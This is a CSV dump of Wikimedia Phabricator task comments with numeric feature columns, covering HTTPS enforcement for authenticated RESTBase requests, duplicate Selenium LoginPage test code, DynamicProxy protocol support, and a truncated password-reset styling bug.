411974,Origin HTTP header not set,"hoo asked to provide the URL on which this happens, which is https://catalog.rhizome.org/",,,1424049827,,PHID-USER-qctjjxrc7cabhbspfpv6,False,,,PHID-TASK-pyyhytg7i2idvbunk7c3,task_subcomment,,True,c3,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.8571428571428571,"hoo asked to provide the URL on which this happens, which is URL"
88862,Enforce HTTPS for authenticated public connections,"To protect users, we should redirect authenticated requests from HTTP to HTTPS. Our current TLS termination layer is setting an `x-https` header (TODO: verify name), which we can use to detect HTTP users.",Low,25.0,1423263118,1468361991.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_description,resolved,True,c3,1,True,True,False,-21,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,10.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,10.0,12.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.175,0.85,"To protect users, we should redirect authenticated requests from HTTP to HTTPS. Our current TLS termination layer is setting an CODE header (TODO: verify name), which we can use to detect HTTP users."
693288,Enforce HTTPS for authenticated public connections,"@bblack, you did indeed resolve this without us doing anything. Many thanks, sir!",,,1468361991,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,3,True,,,53,True,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,4.294117647058823,0.9411764705882353,"SCREEN_NAME, you did indeed resolve this without us doing anything. Many thanks, sir!"
693262,Enforce HTTPS for authenticated public connections,"This can probably be closed now, as all public RB access is via the standard cache clusters which are enforcing HTTPS, but defer to gwicke just in case.",,,1468360580,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,3,True,,,53,True,3.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,10.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.032258064516129,0.967741935483871,"This can probably be closed now, as all public RB access is via the standard cache clusters which are enforcing HTTPS, but defer to gwicke just in case."
480917,Enforce HTTPS for authenticated public connections,"We have HTTPS by default on the main entry point (the regular project domain), but http://rest.wikimedia.org/ is still available via HTTP.

We do have the longer-term plan of taking down rest.wikimedia.org in favor of the project domains, but lets keep this task open until that has happened.",,,1435168758,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,14.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.8214285714285714,"We have HTTPS by default on the main entry point (the regular project domain), but URL is still available via HTTP.

We do have the longer-term plan of taking down rest.wikimedia.org in favor of the project domains, but lets keep this task open until that has happened."
480912,Enforce HTTPS for authenticated public connections,Is this task still relevant now with //HTTPS-by-default// ?,,,1435168643,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,0.9230769230769231,Is this task still relevant now with //HTTPS-by-default// ?
408795,Enforce HTTPS for authenticated public connections,"We should only set Session or Token cookies without the secure flag (so they will be sent via http requests) in very limited cases.

Restbase really should follow the mediawiki model and redirect to https if it sees a forceHTTPS cookie, which would indicate that the user is probably logged in, but the session/token cookie wasn't sent since they are set secure.",,,1423507687,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,1.0,6.0,1.0,8.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,1.0,0.0,1.0,0.0,7.0,12.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,6.0,6.0,4.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.194444444444445,0.8333333333333334,"We should only set Session or Token cookies without the secure flag (so they will be sent via http requests) in very limited cases.

Restbase really should follow the mediawiki model and redirect to https if it sees a forceHTTPS cookie, which would indicate that the user is probably logged in, but the session/token cookie wasn't sent since they are set secure."
408299,Enforce HTTPS for authenticated public connections,"I would prefer if we simply rejected any unencrypted request which contained login cookies (some code will handle redirects transparently but that's bad because the cookie was already sent in plain text and the user won't be alerted), but okay...",,,1423347959,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,1,True,,,-21,True,4.0,0.0,0.0,4.0,2.0,7.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,4.0,4.0,2.0,4.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9565217391304348,"I would prefer if we simply rejected any unencrypted request which contained login cookies (some code will handle redirects transparently but that's bad because the cookie was already sent in plain text and the user won't be alerted), but okay..."
408298,Enforce HTTPS for authenticated public connections,"I would prefer if we simply rejected any unencrypted request which contained login cookies, but okay...",,,1423347894,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,1,True,,,-21,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,6.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,"I would prefer if we simply rejected any unencrypted request which contained login cookies, but okay..."
85649,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,"The ZeroPortal extension's browser tests define LoginPage in [[https://github.com/wikimedia/mediawiki-extensions-ZeroPortal/blob/master/tests/browser/features/support/pages/login_page.rb | login_page.rb]]. But there's already a LoginPage object in the shared [[ https://github.com/wikimedia/mediawiki-selenium/blob/master/lib/mediawiki_selenium/support/pages/login_page.rb | mediawiki_selenium ]] gem that ZeroPortal uses.

You could just delete ZeroPortal's local file and see if tests still pass.",Low,25.0,1420075718,1443457629.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-orutfwdvg667kr5vm5uk,False,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_description,invalid,True,c3,1,False,False,True,-26,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,18.0,2.0,4.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,5.0,11.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,4.2,0.6909090909090909,"The ZeroPortal extension's browser tests define LoginPage in [[URL | login_page.rb]]. But there's already a LoginPage object in the shared [[ URL | mediawiki_selenium ]] gem that ZeroPortal uses.

You could just delete ZeroPortal's local file and see if tests still pass."
536378,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,Tests have been removed; marking this as invalid.,,,1443457622,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.2,1.0,Tests have been removed; marking this as invalid.
435025,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,"mediawiki_selenium Ruby gem now has support for logging in multiple users:

https://github.com/wikimedia/mediawiki-selenium/blob/master/lib/mediawiki_selenium/step_definitions/login_steps.rb",,,1427729995,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,1,True,,,-14,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.928571428571429,1.0,"mediawiki_selenium Ruby gem now has support for logging in multiple users:

URL"
406385,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,"We actually recently switched to the prerelease branch which (at the time
of switching) did not have an updated LoginPage for use with multiple
users. When I respond to this task I will be reevaluating though to see if
the prerelease version of LoginPage has been updated to include ""logged in
as,"" which I suspect it has.",,,1423007188,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,6.0,1.0,7.0,18.0,0.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,6.0,3.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,18.0,3.0,0.0,3.0,0.0,7.0,0.0,4.0,1.0,0.0,3.0,0.0,0.0,0.0,3.9705882352941178,0.7352941176470589,"We actually recently switched to the prerelease branch which (at the time
of switching) did not have an updated LoginPage for use with multiple
users. When I respond to this task I will be reevaluating though to see if
the prerelease version of LoginPage has been updated to include ""logged in
as,"" which I suspect it has."
406346,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,"For a list of features shared among repositories, see https://www.mediawiki.org/wiki/Quality_Assurance/Browser_testing/Shared_features

ZeroPortal should use the ""Given I am logged in"" step as all the other repos do. ",,,1423002168,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,1,False,,,-22,True,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,16.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,16.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7096774193548385,0.9354838709677419,"For a list of features shared among repositories, see URL

ZeroPortal should use the ""Given I am logged in"" step as all the other repos do. "
406340,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,,,,1423001500,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
406339,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,,,,1423001493,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
394587,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,,,,1420083649,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
84983,Make DynamicProxy be able to proxy back to non-http protocols,"Currently it assumes that you are proxying back to http:// and adds it if it is not found. Make it possible to proxy back to other protocols, like fastcgi or uwsgi.",Low,25.0,1418982881,1467722731.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-yorbznbgwmqwd27m6uvq,task_description,declined,True,c3,1,True,True,False,-28,True,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,15.0,21.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.9411764705882355,0.7941176470588235,"Currently it assumes that you are proxying back to http:// and adds it if it is not found. Make it possible to proxy back to other protocols, like fastcgi or uwsgi."
688638,Make DynamicProxy be able to proxy back to non-http protocols,"I think any performance advantage will be negated by the additonal complexity, so let's not do this.",,,1467722731,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-yorbznbgwmqwd27m6uvq,task_subcomment,,True,c3,3,True,,,52,True,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,"I think any performance advantage will be negated by the additonal complexity, so let's not do this."
397264,Make DynamicProxy be able to proxy back to non-http protocols,"Boo!

nginx requires uwsgi_pass, fastcgi_pass, proxy_pass depending on what protocol the origin server is listening on. This is terrible.",,,1420807846,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-yorbznbgwmqwd27m6uvq,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,24.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.8,0.84,"Boo!

nginx requires uwsgi_pass, fastcgi_pass, proxy_pass depending on what protocol the origin server is listening on. This is terrible."
391465,Make DynamicProxy be able to proxy back to non-http protocols,Yay! :),,,1419009664,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-yorbznbgwmqwd27m6uvq,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,Yay! :)
391439,Make DynamicProxy be able to proxy back to non-http protocols,"Change 181073 merged by Yuvipanda:
tools: Allow origin protocols other than http

[[https://gerrit.wikimedia.org/r/181073]]",,,1419004966,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yorbznbgwmqwd27m6uvq,task_subcomment,,True,c3,1,False,,,-28,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.095238095238095,0.8571428571428571,"Change 181073 merged by Yuvipanda:
tools: Allow origin protocols other than http

[[GERRIT_URL]]"
391430,Make DynamicProxy be able to proxy back to non-http protocols,"Change 181073 had a related patch set uploaded (by Yuvipanda):
tools: Allos origin protocols other than http

[[https://gerrit.wikimedia.org/r/181073]]

#patch-for-review",,,1419002375,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yorbznbgwmqwd27m6uvq,task_subcomment,,True,c3,1,False,,,-28,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.764705882352941,0.8529411764705882,"Change 181073 had a related patch set uploaded (by Yuvipanda):
tools: Allos origin protocols other than http

[[GERRIT_URL]]

#patch-for-review"
78373,Change Special:ChangePassword to use OOUI (to match styling of Special:UserLogin),"1. Reset password
2. Log in with it, this yields the ""Create a new password"" screen, courtesy of Special:ResetPassword proxied through SpecialUserLogin
3. Trigger any error or callback or rate limit. That will respond from ResetPassword (in the url) as that's where the form submits to.

It shows exact same form again, with my values still filled. Except now the form looks completely 